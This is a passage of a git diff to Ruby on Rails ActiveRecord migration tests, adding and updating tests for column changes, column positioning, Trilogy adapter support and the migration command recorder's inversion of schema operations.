+        def test_change_column_with_new_precision_and_scale
+          connection.add_column "test_models", "wealth", :decimal, precision: 9, scale: 7
+
+          connection.change_column "test_models", "wealth", :decimal, precision: 12, scale: 8
+          TestModel.reset_column_information
+
+          wealth_column = TestModel.columns_hash["wealth"]
+          assert_equal 12, wealth_column.precision
+          assert_equal 8, wealth_column.scale
+        end
+
         def test_change_column_preserve_other_column_precision_and_scale
           connection.add_column "test_models", "last_name", :string
           connection.add_column "test_models", "wealth", :decimal, precision: 9, scale: 7
@@ -130,7 +141,7 @@ def test_native_types
 
           TestModel.create first_name: "bob", last_name: "bobsen",
             bio: "I was born ....", age: 18, height: 1.78,
-            wealth: BigDecimal.new("12345678901234567890.0123456789"),
+            wealth: BigDecimal("12345678901234567890.0123456789"),
             birthday: 18.years.ago, favorite_day: 10.days.ago,
             moment_of_truth: "1782-10-10 21:40:18", male: true
 
@@ -143,7 +154,7 @@ def test_native_types
           # Test for 30 significant digits (beyond the 16 of float), 10 of them
           # after the decimal place.
 
-          assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
+          assert_equal BigDecimal("0012345678901234567890.0123456789"), bob.wealth
 
           assert_equal true, bob.male?
 
@@ -158,13 +169,11 @@ def test_native_types
         end
       end
 
-      if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
         def test_out_of_range_limit_should_raise
-          assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, limit: 10 }
-
-          unless current_adapter?(:PostgreSQLAdapter)
-            assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :text, limit: 0xfffffffff }
-          end
+          assert_raise(ArgumentError) { add_column :test_models, :integer_too_big, :integer, limit: 10 }
+          assert_raise(ArgumentError) { add_column :test_models, :text_too_big, :text, limit: 0xfffffffff }
+          assert_raise(ArgumentError) { add_column :test_models, :binary_too_big, :binary, limit: 0xfffffffff }
         end
       end
     end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
index f2162d91b108e..db64710d3a90d 100644
--- a/activerecord/test/cases/migration/column_positioning_test.rb
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -9,7 +11,7 @@ class ColumnPositioningTest < ActiveRecord::TestCase
       def setup
         super
 
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
 
         connection.create_table :testings, id: false do |t|
           t.column :first, :integer
@@ -23,7 +25,7 @@ def setup
         ActiveRecord::Base.primary_key_prefix_type = nil
       end
 
-      if current_adapter?(:Mysql2Adapter)
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
         def test_column_positioning
           assert_equal %w(first second third), conn.columns(:testings).map(&:name)
         end
@@ -50,6 +52,16 @@ def test_change_column_with_positioning
           conn.change_column :testings, :second, :integer, after: :third
           assert_equal %w(first third second), conn.columns(:testings).map(&:name)
         end
+
+        def test_add_reference_with_positioning_first
+          conn.add_reference :testings, :new, polymorphic: true, first: true
+          assert_equal %w(new_id new_type first second third), conn.columns(:testings).map(&:name)
+        end
+
+        def test_add_reference_with_positioning_after
+          conn.add_reference :testings, :new, polymorphic: true, after: :first
+          assert_equal %w(first new_id new_type second third), conn.columns(:testings).map(&:name)
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/migration/columns_test.rb b/activerecord/test/cases/migration/columns_test.rb
index 55c06da411e94..5c19cd79f76f7 100644
--- a/activerecord/test/cases/migration/columns_test.rb
+++ b/activerecord/test/cases/migration/columns_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/migration/helper"
 
 module ActiveRecord
@@ -53,19 +55,19 @@ def test_rename_column_preserves_default_value_not_null
         add_column "test_models", "salary", :integer, default: 70000
 
         default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
-        assert_equal "70000", default_before
+        assert_equal 70000, default_before
 
         rename_column "test_models", "salary", "annual_salary"
 
         assert_includes TestModel.column_names, "annual_salary"
         default_after = connection.columns("test_models").find { |c| c.name == "annual_salary" }.default
-        assert_equal "70000", default_after
+        assert_equal 70000, default_after
       end
 
-      if current_adapter?(:Mysql2Adapter)
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
         def test_mysql_rename_column_preserves_auto_increment
           rename_column "test_models", "id", "id_test"
-          assert connection.columns("test_models").find { |c| c.name == "id_test" }.auto_increment?
+          assert_predicate connection.columns("test_models").find { |c| c.name == "id_test" }, :auto_increment?
           TestModel.reset_column_information
         ensure
           rename_column "test_models", "id_test", "id"
@@ -73,7 +75,7 @@ def test_mysql_rename_column_preserves_auto_increment
       end
 
       def test_rename_nonexistent_column
-        exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+        exception = if current_adapter?(:PostgreSQLAdapter)
           ActiveRecord::StatementInvalid
         else
           ActiveRecord::ActiveRecordError
@@ -107,18 +109,10 @@ def test_rename_column_with_multi_column_index
         add_index "test_models", ["hat_style", "hat_size"], unique: true
 
         rename_column "test_models", "hat_size", "size"
-        if current_adapter? :OracleAdapter
-          assert_equal ["i_test_models_hat_style_size"], connection.indexes("test_models").map(&:name)
-        else
-          assert_equal ["index_test_models_on_hat_style_and_size"], connection.indexes("test_models").map(&:name)
-        end
+        assert_equal ["index_test_models_on_hat_style_and_size"], connection.indexes("test_models").map(&:name)
 
         rename_column "test_models", "hat_style", "style"
-        if current_adapter? :OracleAdapter
-          assert_equal ["i_test_models_style_size"], connection.indexes("test_models").map(&:name)
-        else
-          assert_equal ["index_test_models_on_style_and_size"], connection.indexes("test_models").map(&:name)
-        end
+        assert_equal ["index_test_models_on_style_and_size"], connection.indexes("test_models").map(&:name)
       end
 
       def test_rename_column_does_not_rename_custom_named_index
@@ -140,6 +134,10 @@ def test_remove_column_with_index
       end
 
       def test_remove_column_with_multi_column_index
+        # MariaDB starting with 10.2.8
+        # Dropping a column that is part of a multi-column UNIQUE constraint is not permitted.
+        skip if current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && connection.mariadb? && connection.database_version >= "10.2.8"
+
         add_column "test_models", :hat_size, :integer
         add_column "test_models", :hat_style, :string, limit: 100
         add_index "test_models", ["hat_style", "hat_size"], unique: true
@@ -149,7 +147,7 @@ def test_remove_column_with_multi_column_index
 
         # Every database and/or database adapter has their own behavior
         # if it drops the multi-column index when any of the indexed columns dropped by remove_column.
-        if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+        if current_adapter?(:PostgreSQLAdapter)
           assert_equal [], connection.indexes("test_models").map(&:name)
         else
           assert_equal ["index_test_models_on_hat_style_and_hat_size"], connection.indexes("test_models").map(&:name)
@@ -197,7 +195,7 @@ def test_change_column
 
         old_columns = connection.columns(TestModel.table_name)
         assert old_columns.find { |c|
-          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          default = c.fetch_cast_type(connection).deserialize(c.default)
           c.name == "approved" && c.type == :boolean && default == true
         }
 
@@ -205,11 +203,11 @@ def test_change_column
         new_columns = connection.columns(TestModel.table_name)
 
         assert_not new_columns.find { |c|
-          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          default = c.fetch_cast_type(connection).deserialize(c.default)
           c.name == "approved" && c.type == :boolean && default == true
         }
         assert new_columns.find { |c|
-          default = connection.lookup_cast_type_from_column(c).deserialize(c.default)
+          default = c.fetch_cast_type(connection).deserialize(c.default)
           c.name == "approved" && c.type == :boolean && default == false
         }
         change_column :test_models, :approved, :boolean, default: true
@@ -217,21 +215,40 @@ def test_change_column
 
       def test_change_column_with_nil_default
         add_column "test_models", "contributor", :boolean, default: true
-        assert TestModel.new.contributor?
+        assert_predicate TestModel.new, :contributor?
 
         change_column "test_models", "contributor", :boolean, default: nil
         TestModel.reset_column_information
-        assert_not TestModel.new.contributor?
+        assert_not_predicate TestModel.new, :contributor?
+        assert_nil TestModel.new.contributor
+      end
+
+      def test_change_column_to_drop_default_with_null_false
+        add_column "test_models", "contributor", :boolean, default: true, null: false
+        assert_predicate TestModel.new, :contributor?
+
+        change_column "test_models", "contributor", :boolean, default: nil, null: false
+        TestModel.reset_column_information
+        assert_not_predicate TestModel.new, :contributor?
         assert_nil TestModel.new.contributor
       end
 
       def test_change_column_with_new_default
         add_column "test_models", "administrator", :boolean, default: true
-        assert TestModel.new.administrator?
+        assert_predicate TestModel.new, :administrator?
 
         change_column "test_models", "administrator", :boolean, default: false
         TestModel.reset_column_information
-        assert_not TestModel.new.administrator?
+        assert_not_predicate TestModel.new, :administrator?
+      end
+
+      def test_change_column_preserves_old_attributes
+        add_column "test_models", "user_id", :integer, default: 0, null: false
+        change_column "test_models", "user_id", :bigint
+
+        new_column = connection.columns("test_models").find { |c| c.name == "user_id" }
+        assert_equal 0, new_column.default
+        assert_equal false, new_column.null
       end
 
       def test_change_column_with_custom_index_name
@@ -246,7 +263,7 @@ def test_change_column_with_custom_index_name
 
       def test_change_column_with_long_index_name
         table_name_prefix = "test_models_"
-        long_index_name = table_name_prefix + ("x" * (connection.allowed_index_name_length - table_name_prefix.length))
+        long_index_name = table_name_prefix + ("x" * (connection.index_name_length - table_name_prefix.length))
         add_column "test_models", "category", :string
         add_index :test_models, :category, name: long_index_name
 
@@ -265,9 +282,23 @@ def test_change_column_default
       def test_change_column_default_to_null
         add_column "test_models", "first_name", :string
         connection.change_column_default "test_models", "first_name", nil
+
         assert_nil TestModel.new.first_name
       end
 
+      def test_change_column_default_to_null_with_not_null
+        add_column "test_models", "first_name", :string, null: false
+        add_column "test_models", "age", :integer, null: false
+
+        connection.change_column_default "test_models", "first_name", nil
+
+        assert_nil TestModel.new.first_name
+
+        connection.change_column_default "test_models", "age", nil
+
+        assert_nil TestModel.new.age
+      end
+
       def test_change_column_default_with_from_and_to
         add_column "test_models", "first_name", :string
         connection.change_column_default "test_models", "first_name", from: nil, to: "Tester"
@@ -275,6 +306,69 @@ def test_change_column_default_with_from_and_to
         assert_equal "Tester", TestModel.new.first_name
       end
 
+      def test_change_column_default_preserves_existing_column_default_function
+        skip unless current_adapter?(:SQLite3Adapter)
+
+        connection.change_column_default "test_models", "created_at", -> { "CURRENT_TIMESTAMP" }
+        TestModel.reset_column_information
+        assert_equal "CURRENT_TIMESTAMP", TestModel.columns_hash["created_at"].default_function
+
+        add_column "test_models", "edited_at", :datetime
+        connection.change_column_default "test_models", "edited_at", -> { "CURRENT_TIMESTAMP" }
+        TestModel.reset_column_information
+        assert_equal "CURRENT_TIMESTAMP", TestModel.columns_hash["created_at"].default_function
+        assert_equal "CURRENT_TIMESTAMP", TestModel.columns_hash["edited_at"].default_function
+      end
+
+      def test_change_column_default_supports_default_function_with_concatenation_operator
+        skip unless current_adapter?(:SQLite3Adapter)
+
+        add_column "test_models", "ruby_on_rails", :string
+        connection.change_column_default "test_models", "ruby_on_rails", -> { "('Ruby ' || 'on ' || 'Rails')" }
+        TestModel.reset_column_information
+        assert_equal "'Ruby ' || 'on ' || 'Rails'", TestModel.columns_hash["ruby_on_rails"].default_function
+      end
+
+      def test_change_column_null_false
+        add_column "test_models", "first_name", :string
+        connection.change_column_null "test_models", "first_name", false
+
+        assert_raise(ActiveRecord::NotNullViolation) do
+          TestModel.create!(first_name: nil)
+        end
+      end
+
+      def test_change_column_null_true
+        add_column "test_models", "first_name", :string
+        connection.change_column_null "test_models", "first_name", true
+
+        assert_difference("TestModel.count" => 1) do
+          TestModel.create!(first_name: nil)
+        end
+      end
+
+      def test_change_column_null_with_non_boolean_arguments_raises
+        add_column "test_models", "first_name", :string
+        e = assert_raise(ArgumentError) do
+          connection.change_column_null "test_models", "first_name", from: true, to: false
+        end
+        assert_equal "change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: #{{ from: true, to: false }}", e.message
+      end
+
+      def test_change_column_null_does_not_change_default_functions
+        skip unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && supports_default_expression?
+
+        function = connection.mariadb? ? "current_timestamp(6)" : "(now())"
+
+        connection.change_column_default "test_models", "created_at", -> { function }
+        TestModel.reset_column_information
+        assert_equal function, TestModel.columns_hash["created_at"].default_function
+
+        connection.change_column_null "test_models", "created_at", true
+        TestModel.reset_column_information
+        assert_equal function, TestModel.columns_hash["created_at"].default_function
+      end
+
       def test_remove_column_no_second_parameter_raises_exception
         assert_raise(ArgumentError) { connection.remove_column("funny") }
       end
@@ -302,6 +396,67 @@ def test_column_with_index
       ensure
         connection.drop_table(:my_table) rescue nil
       end
+
+      if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+        def test_column_with_disabled_index
+          connection.create_table "my_table", force: true do |t|
+            t.column "col_one", :bigint
+            t.column "col_two", :bigint, index: { enabled: false }
+          end
+
+          assert connection.index_exists?("my_table", :col_two, enabled: false)
+        ensure
+          connection.drop_table(:my_table) rescue nil
+        end
+      end
+
+      def test_add_column_without_column_name
+        e = assert_raise ArgumentError do
+          connection.create_table "my_table", force: true do |t|
+            t.timestamp
+          end
+        end
+        assert_equal "Missing column name(s) for timestamp", e.message
+      ensure
+        connection.drop_table :my_table, if_exists: true
+      end
+
+      def test_remove_columns_single_statement
+        connection.create_table "my_table" do |t|
+          t.integer "col_one"
+          t.integer "col_two"
+        end
+
+        # SQLite3's ALTER TABLE statement has several limitations. To manage
+        # this, the adapter creates a temporary table, copies the data, drops
+        # the old table, creates the new table, then copies the data back.
+        expected_query_count = current_adapter?(:SQLite3Adapter) ? 14 : 1
+        assert_queries_count(expected_query_count) do
+          connection.remove_columns("my_table", "col_one", "col_two")
+        end
+
+        columns = connection.columns("my_table").map(&:name)
+        assert_equal ["id"], columns
+      ensure
+        connection.drop_table :my_table, if_exists: true
+      end
+
+      def test_add_timestamps_single_statement
+        connection.create_table "my_table"
+
+        # SQLite3's ALTER TABLE statement has several limitations. To manage
+        # this, the adapter creates a temporary table, copies the data, drops
+        # the old table, creates the new table, then copies the data back.
+        expected_query_count = current_adapter?(:SQLite3Adapter) ? 14 : 1
+        assert_queries_count(expected_query_count) do
+          connection.add_timestamps("my_table")
+        end
+
+        columns = connection.columns("my_table").map(&:name)
+        assert_equal ["id", "created_at", "updated_at"], columns
+      ensure
+        connection.drop_table :my_table, if_exists: true
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 802a969cb7333..fc8f8e697a6da 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   class Migration
     class CommandRecorderTest < ActiveRecord::TestCase
       def setup
-        connection = ActiveRecord::Base.connection
+        connection = ActiveRecord::Base.lease_connection
         @recorder  = CommandRecorder.new(connection)
       end
 
@@ -12,7 +14,7 @@ def test_respond_to_delegates
         recorder = CommandRecorder.new(Class.new {
           def america; end
         }.new)
-        assert recorder.respond_to?(:america)
+        assert_respond_to recorder, :america
       end
 
       def test_send_calls_super
@@ -25,15 +27,19 @@ def test_send_delegates_to_record
         recorder = CommandRecorder.new(Class.new {
           def create_table(name); end
         }.new)
-        assert recorder.respond_to?(:create_table), "respond_to? create_table"
+        assert_respond_to recorder, :create_table
         recorder.send(:create_table, :horses)
         assert_equal [[:create_table, [:horses], nil]], recorder.commands
       end
 
       def test_unknown_commands_delegate
-        recorder = Struct.new(:foo)
-        recorder = CommandRecorder.new(recorder.new("bar"))
-        assert_equal "bar", recorder.foo
+        recorder = Class.new do
+          def foo(kw:)
+            kw
+          end
+        end
+        recorder = CommandRecorder.new(recorder.new)
+        assert_equal "bar", recorder.foo(kw: "bar")
       end
 
       def test_inverse_of_raise_exception_on_unknown_commands
@@ -92,9 +98,10 @@ def test_invert_change_table
             t.rename :kind, :cultivar
           end
         end
+
         assert_equal [
           [:rename_column, [:fruits, :cultivar, :kind]],
-          [:remove_column, [:fruits, :name, :string, {}], nil],
+          [:remove_column, [:fruits, :name, :string], nil],
         ], @recorder.commands
 
         assert_raises(ActiveRecord::IrreversibleMigration) do
@@ -106,6 +113,30 @@ def test_invert_change_table
         end
       end
 
+      if ActiveRecord::Base.lease_connection.supports_bulk_alter?
+        def test_bulk_invert_change_table
+          block = Proc.new do |t|
+            t.string :name
+            t.rename :kind, :cultivar
+          end
+
+          @recorder.revert do
+            @recorder.change_table :fruits, bulk: true, &block
+          end
+
+          @recorder.revert do
+            @recorder.revert do
+              @recorder.change_table :fruits, bulk: true, &block
+            end
+          end
+
+          assert_equal [
+            [:change_table, [:fruits]],
+            [:change_table, [:fruits]]
+          ], @recorder.commands.map { |command| command[0...-1] }
+        end
+      end
+
       def test_invert_create_table
         @recorder.revert do
           @recorder.record :create_table, [:system_settings]
@@ -114,24 +145,58 @@ def test_invert_create_table
         assert_equal [:drop_table, [:system_settings], nil], drop_table
       end
 
+      def test_invert_create_table_with_if_not_exists
+        @recorder.revert do
+          @recorder.record :create_table, [:system_settings, if_not_exists: true]
+        end
+        drop_table = @recorder.commands.first
+        assert_equal [:drop_table, [:system_settings, {}], nil], drop_table
+      end
+
       def test_invert_create_table_with_options_and_block
-        block = Proc.new {}
+        block = Proc.new { }
         drop_table = @recorder.inverse_of :create_table, [:people_reminders, id: false], &block
         assert_equal [:drop_table, [:people_reminders, id: false], block], drop_table
       end
 
       def test_invert_drop_table
-        block = Proc.new {}
+        block = Proc.new { }
         create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false], &block
         assert_equal [:create_table, [:people_reminders, id: false], block], create_table
       end
 
+      def test_invert_drop_table_with_if_exists
+        block = Proc.new { }
+        create_table = @recorder.inverse_of :drop_table, [:people_reminders, id: false, if_exists: true], &block
+        assert_equal [:create_table, [:people_reminders, id: false], block], create_table
+      end
+
       def test_invert_drop_table_without_a_block_nor_option
-        assert_raises(ActiveRecord::IrreversibleMigration) do
+        assert_raises(ActiveRecord::IrreversibleMigration, match: "To avoid mistakes, drop_table is only reversible if given options or a block (can be empty).") do
           @recorder.inverse_of :drop_table, [:people_reminders]
         end
       end
 
+      def test_invert_drop_table_with_multiple_tables
+        assert_raises(ActiveRecord::IrreversibleMigration, match: "To avoid mistakes, drop_table is only reversible if given a single table name.") do
+          @recorder.inverse_of :drop_table, [:musics, :artists]
+        end
+      end
+
+      def test_invert_drop_table_with_multiple_tables_and_options
+        assert_raises(ActiveRecord::IrreversibleMigration, match: "To avoid mistakes, drop_table is only reversible if given a single table name.") do
+          @recorder.inverse_of :drop_table, [:musics, :artists, id: false]
+        end
+      end
+
+      def test_invert_drop_table_with_multiple_tables_and_block
+        block = Proc.new { }
+
+        assert_raises(ActiveRecord::IrreversibleMigration, match: "To avoid mistakes, drop_table is only reversible if given a single table name.") do
+          @recorder.inverse_of :drop_table, [:musics, :artists], &block
+        end
+      end
+
       def test_invert_create_join_table
         drop_join_table = @recorder.inverse_of :create_join_table, [:musics, :artists]
         assert_equal [:drop_join_table, [:musics, :artists], nil], drop_join_table
@@ -143,7 +208,7 @@ def test_invert_create_join_table_with_table_name
       end
 
       def test_invert_drop_join_table
-        block = Proc.new {}
+        block = Proc.new { }
         create_join_table = @recorder.inverse_of :drop_join_table, [:musics, :artists, table_name: :catalog], &block
         assert_equal [:create_join_table, [:musics, :artists, table_name: :catalog], block], create_join_table
       end
@@ -180,6 +245,40 @@ def test_invert_change_column_default_with_from_and_to_with_boolean
         assert_equal [:change_column_default, [:table, :column, from: false, to: true]], change
       end
 
+      if ActiveRecord::Base.lease_connection.supports_comments?
+        def test_invert_change_column_comment
+          assert_raises(ActiveRecord::IrreversibleMigration) do
+            @recorder.inverse_of :change_column_comment, [:table, :column, "comment"]
+          end
+        end
+
+        def test_invert_change_column_comment_with_from_and_to
+          change = @recorder.inverse_of :change_column_comment, [:table, :column, from: "old_value", to: "new_value"]
+          assert_equal [:change_column_comment, [:table, :column, from: "new_value", to: "old_value"]], change
+        end
+
+        def test_invert_change_column_comment_with_from_and_to_with_nil
+          change = @recorder.inverse_of :change_column_comment, [:table, :column, from: nil, to: "new_value"]
+          assert_equal [:change_column_comment, [:table, :column, from: "new_value", to: nil]], change
+        end
+
+        def test_invert_change_table_comment
+          assert_raises(ActiveRecord::IrreversibleMigration) do
+            @recorder.inverse_of :change_column_comment, [:table, :column, "comment"]
+          end
+        end
+
+        def test_invert_change_table_comment_with_from_and_to
+          change = @recorder.inverse_of :change_table_comment, [:table, from: "old_value", to: "new_value"]
+          assert_equal [:change_table_comment, [:table, from: "new_value", to: "old_value"]], change
+        end
+
+        def test_invert_change_table_comment_with_from_and_to_with_nil
+          change = @recorder.inverse_of :change_table_comment, [:table, from: nil, to: "new_value"]
+          assert_equal [:change_table_comment, [:table, from: "new_value", to: nil]], change
+        end
+      end
+
       def test_invert_change_column_null
         add = @recorder.inverse_of :change_column_null, [:table, :column, true]
         assert_equal [:change_column_null, [:table, :column, false]], add
@@ -203,17 +302,39 @@ def test_invert_rename_column
 
       def test_invert_add_index
         remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
-        assert_equal [:remove_index, [:table, { column: [:one, :two] }]], remove
+        assert_equal [:remove_index, [:table, [:one, :two]], nil], remove
       end
 
       def test_invert_add_index_with_name
         remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
-        assert_equal [:remove_index, [:table, { name: "new_index" }]], remove
+        assert_equal [:remove_index, [:table, [:one, :two], name: "new_index"], nil], remove
       end
 
-      def test_invert_add_index_with_no_options
-        remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
-        assert_equal [:remove_index, [:table, { column: [:one, :two] }]], remove
+      def test_invert_add_index_with_algorithm_option
+        remove = @recorder.inverse_of :add_index, [:table, :one, algorithm: :concurrently]
+        assert_equal [:remove_index, [:table, :one, algorithm: :concurrently], nil], remove
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+        def test_invert_add_index_with_disabled_option
+          remove = @recorder.inverse_of :add_index, [:table, :one, enabled: false]
+          assert_equal [:remove_index, [:table, :one, enabled: false], nil], remove
+        end
+
+        def test_invert_remove_index_with_disabled_option
+          add = @recorder.inverse_of :remove_index, [:table, :one, enabled: false]
+          assert_equal [:add_index, [:table, :one, enabled: false]], add
+        end
+
+        def test_invert_disable_index
+          enable = @recorder.inverse_of :disable_index, [:table, :disabled_index]
+          assert_equal [:enable_index, [:table, :disabled_index]], enable
+        end
+
+        def test_invert_enable_index
+          disable = @recorder.inverse_of :enable_index, [:table, :enabled_index]
+          assert_equal [:disable_index, [:table, :enabled_index]], disable
+        end
       end
 
       def test_invert_remove_index
@@ -221,6 +342,11 @@ def test_invert_remove_index
         assert_equal [:add_index, [:table, :one]], add
       end
 
+      def test_invert_remove_index_with_positional_column
+        add = @recorder.inverse_of :remove_index, [:table, [:one, :two], { options: true }]
+        assert_equal [:add_index, [:table, [:one, :two], options: true]], add
+      end
+
       def test_invert_remove_index_with_column
         add = @recorder.inverse_of :remove_index, [:table, { column: [:one, :two], options: true }]
         assert_equal [:add_index, [:table, [:one, :two], options: true]], add
@@ -233,7 +359,7 @@ def test_invert_remove_index_with_name
 
       def test_invert_remove_index_with_no_special_options
         add = @recorder.inverse_of :remove_index, [:table, { column: [:one, :two] }]
-        assert_equal [:add_index, [:table, [:one, :two], {}]], add
+        assert_equal [:add_index, [:table, [:one, :two]]], add
       end
 
       def test_invert_remove_index_with_no_column
@@ -292,9 +418,19 @@ def test_invert_disable_extension
         assert_equal [:enable_extension, ["uuid-ossp"], nil], enable
       end
 
+      def test_invert_create_schema
+        disable = @recorder.inverse_of :create_schema, ["myschema"]
+        assert_equal [:drop_schema, ["myschema"], nil], disable
+      end
+
+      def test_invert_drop_schema
+        enable = @recorder.inverse_of :drop_schema, ["myschema"]
+        assert_equal [:create_schema, ["myschema"], nil], enable
+      end
+
       def test_invert_add_foreign_key
         enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people]
-        assert_equal [:remove_foreign_key, [:dogs, :people]], enable
+        assert_equal [:remove_foreign_key, [:dogs, :people], nil], enable
       end
 
       def test_invert_remove_foreign_key
@@ -304,7 +440,7 @@ def test_invert_remove_foreign_key
 
       def test_invert_add_foreign_key_with_column
         enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id"]
-        assert_equal [:remove_foreign_key, [:dogs, column: "owner_id"]], enable
+        assert_equal [:remove_foreign_key, [:dogs, :people, column: "owner_id"], nil], enable
       end
 
       def test_invert_remove_foreign_key_with_column
@@ -314,7 +450,7 @@ def test_invert_remove_foreign_key_with_column
 
       def test_invert_add_foreign_key_with_column_and_name
         enable = @recorder.inverse_of :add_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"]
-        assert_equal [:remove_foreign_key, [:dogs, name: "fk"]], enable
+        assert_equal [:remove_foreign_key, [:dogs, :people, column: "owner_id", name: "fk"], nil], enable
       end
 
       def test_invert_remove_foreign_key_with_column_and_name
@@ -327,11 +463,24 @@ def test_invert_remove_foreign_key_with_primary_key
         assert_equal [:add_foreign_key, [:dogs, :people, primary_key: "person_id"]], enable
       end
 
+      def test_invert_remove_foreign_key_with_primary_key_and_to_table_in_options
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, to_table: :people, primary_key: "uuid"]
+        assert_equal [:add_foreign_key, [:dogs, :people, primary_key: "uuid"]], enable
+      end
+
       def test_invert_remove_foreign_key_with_on_delete_on_update
         enable = @recorder.inverse_of :remove_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade]
         assert_equal [:add_foreign_key, [:dogs, :people, on_delete: :nullify, on_update: :cascade]], enable
       end
 
+      def test_invert_remove_foreign_key_with_to_table_in_options
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, to_table: :people]
+        assert_equal [:add_foreign_key, [:dogs, :people]], enable
+
+        enable = @recorder.inverse_of :remove_foreign_key, [:dogs, to_table: :people, column: :owner_id]
+        assert_equal [:add_foreign_key, [:dogs, :people, column: :owner_id]], enable
+      end
+
       def test_invert_remove_foreign_key_is_irreversible_without_to_table
         assert_raises ActiveRecord::IrreversibleMigration do
           @recorder.inverse_of :remove_foreign_key, [:dogs, column: "owner_id"]
@@ -345,6 +494,133 @@ def test_invert_remove_foreign_key_is_irreversible_without_to_table
           @recorder.inverse_of :remove_foreign_key, [:dogs]
         end
       end
+
+      def test_invert_transaction_with_irreversible_inside_is_irreversible
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.revert do
+            @recorder.transaction do
+              @recorder.execute "some sql"
+            end
+          end
+        end
+      end
+
+      def test_invert_add_check_constraint
+        enable = @recorder.inverse_of :add_check_constraint, [:dogs, "speed > 0", name: "speed_check"]
+        assert_equal [:remove_check_constraint, [:dogs, "speed > 0", name: "speed_check"], nil], enable
+      end
+
+      def test_invert_add_check_constraint_if_not_exists
+        enable = @recorder.inverse_of :add_check_constraint, [:dogs, "speed > 0", name: "speed_check", if_not_exists: true]
+        assert_equal [:remove_check_constraint, [:dogs, "speed > 0", name: "speed_check", if_exists: true], nil], enable
+      end
+
+      def test_invert_remove_check_constraint
+        enable = @recorder.inverse_of :remove_check_constraint, [:dogs, "speed > 0", name: "speed_check"]
+        assert_equal [:add_check_constraint, [:dogs, "speed > 0", name: "speed_check"], nil], enable
+      end
+
+      def test_invert_remove_check_constraint_without_expression
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :remove_check_constraint, [:dogs]
+        end
+      end
+
+      def test_invert_remove_check_constraint_if_exists
+        enable = @recorder.inverse_of :remove_check_constraint, [:dogs, "speed > 0", name: "speed_check", if_exists: true]
+        assert_equal [:add_check_constraint, [:dogs, "speed > 0", name: "speed_check", if_not_exists: true], nil], enable
+      end
+
+      def test_invert_add_unique_constraint_constraint_with_using_index
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :add_unique_constraint, [:dogs, using_index: "unique_index"]
+        end
+      end
+
+      def test_invert_remove_unique_constraint_constraint
+        enable = @recorder.inverse_of :remove_unique_constraint, [:dogs, ["speed"], deferrable: :deferred, name: "uniq_speed"]
+        assert_equal [:add_unique_constraint, [:dogs, ["speed"], deferrable: :deferred, name: "uniq_speed"], nil], enable
+      end
+
+      def test_invert_remove_unique_constraint_constraint_without_options
+        enable = @recorder.inverse_of :remove_unique_constraint, [:dogs, ["speed"]]
+        assert_equal [:add_unique_constraint, [:dogs, ["speed"]], nil], enable
+      end
+
+      def test_invert_remove_unique_constraint_constraint_without_columns
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :remove_unique_constraint, [:dogs, name: "uniq_speed"]
+        end
+      end
+
+      def test_invert_create_enum
+        drop = @recorder.inverse_of :create_enum, [:color, ["blue", "green"]]
+        assert_equal [:drop_enum, [:color, ["blue", "green"]], nil], drop
+      end
+
+      def test_invert_drop_enum
+        create = @recorder.inverse_of :drop_enum, [:color, ["blue", "green"]]
+        assert_equal [:create_enum, [:color, ["blue", "green"]], nil], create
+      end
+
+      def test_invert_drop_enum_without_values
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :drop_enum, [:color]
+        end
+
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :drop_enum, [:color, if_exists: true]
+        end
+      end
+
+      def test_invert_rename_enum
+        enum = @recorder.inverse_of :rename_enum, [:dog_breed, :breed]
+        assert_equal [:rename_enum, [:breed, :dog_breed]], enum
+      end
+
+      def test_invert_rename_enum_with_to_option
+        enum = @recorder.inverse_of :rename_enum, [:dog_breed, to: :breed]
+        assert_equal [:rename_enum, [:breed, :dog_breed]], enum
+      end
